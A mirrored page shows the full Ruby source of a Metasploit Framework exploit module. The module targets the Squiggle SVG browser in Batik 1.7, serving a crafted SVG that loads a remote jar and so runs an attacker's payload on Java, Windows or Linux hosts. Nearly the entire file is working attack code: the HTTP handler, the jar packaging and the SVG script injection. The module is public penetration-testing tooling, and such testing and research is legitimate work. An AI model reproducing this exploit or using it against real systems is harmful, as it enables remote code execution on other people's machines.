Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/batik_svg_java.rb
31452 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Squiggle 1.7 SVG Browser Java Code Execution',
16
'Description' => %q{
17
This module abuses the SVG support to execute Java Code in the
18
Squiggle Browser included in the Batik framework 1.7 through a
19
crafted SVG file referencing a jar file.
20
21
In order to gain arbitrary code execution, the browser must meet
22
the following conditions: (1) It must support at least SVG version
23
1.1 or newer, (2) It must support Java code and (3) The "Enforce
24
secure scripting" check must be disabled.
25
26
The module has been tested against Windows and Linux platforms.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
31
'sinn3r', # Metasploit module
32
'juan vazquez' # Metasploit module
33
],
34
'References' => [
35
['OSVDB', '81965'],
36
['URL', 'http://www.agarri.fr/blog/']
37
],
38
'Payload' => {
39
'Space' => 20480,
40
'BadChars' => '',
41
'DisableNops' => true
42
},
43
'DefaultOptions' => {
44
'EXITFUNC' => 'thread'
45
},
46
'Targets' => [
47
[
48
'Generic (Java Payload)',
49
{
50
'Arch' => ARCH_JAVA
51
}
52
],
53
[
54
'Windows Universal',
55
{
56
'Arch' => ARCH_X86,
57
'Platform' => 'win'
58
}
59
],
60
[
61
'Linux x86',
62
{
63
'Arch' => ARCH_X86,
64
'Platform' => 'linux'
65
}
66
]
67
],
68
'Privileged' => false,
69
'DisclosureDate' => '2012-05-11',
70
'DefaultTarget' => 0,
71
'Notes' => {
72
'Reliability' => UNKNOWN_RELIABILITY,
73
'Stability' => UNKNOWN_STABILITY,
74
'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
}
76
)
77
)
78
end
79
80
def on_request_uri(cli, request)
81
agent = request.headers['User-Agent']
82
jar_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
83
jar_uri << "/#{rand_text_alpha(rand(3..8))}.jar"
84
rand_text = Rex::Text.rand_text_alphanumeric(rand(4..11))
85
86
if request.uri =~ /\.jar$/
87
paths = [
88
[ 'Exploit.class' ],
89
[ 'Exploit$1.class'],
90
[ 'META-INF', 'MANIFEST.MF']
91
]
92
93
p = regenerate_payload(cli)
94
95
jar = p.encoded_jar
96
paths.each do |path|
97
1.upto(path.length - 1) do |idx|
98
full = path[0, idx].join('/') + '/'
99
if !(jar.entries.map { |e| e.name }.include?(full))
100
jar.add_file(full, '')
101
end
102
end
103
104
fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'batik_svg', path), 'rb')
105
data = fd.read(fd.stat.size)
106
jar.add_file(path.join('/'), data)
107
fd.close
108
end
109
110
print_status("#{cli.peerhost} - Sending jar payload")
111
send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive' })
112
113
elsif agent =~ /Batik/
114
svg = %(
115
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
116
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
117
<text>#{rand_text}</text>
118
</svg>
119
)
120
121
svg = svg.gsub(/\t\t\t/, '')
122
print_status("#{cli.peerhost} - Sending SVG")
123
send_response(cli, svg, { 'Content-Type' => 'image/svg+xml' })
124
125
else
126
print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
127
end
128
end
129
end
130
131